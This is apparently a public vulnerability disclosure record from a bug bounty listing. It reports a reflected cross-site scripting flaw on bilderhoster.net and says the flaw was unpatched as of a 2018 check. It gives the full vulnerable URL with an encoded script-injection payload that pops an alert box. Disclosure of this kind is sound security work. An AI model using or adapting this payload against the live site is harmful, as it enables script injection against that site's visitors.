bilderhoster.net XSS vulnerability

Vulnerable URL: http://www.bilderhoster.net/img.php?id=%22/%3E%3Cscript%3Ealert/OPENBUGBOUNTY/;%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 02.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1484127 VIP website...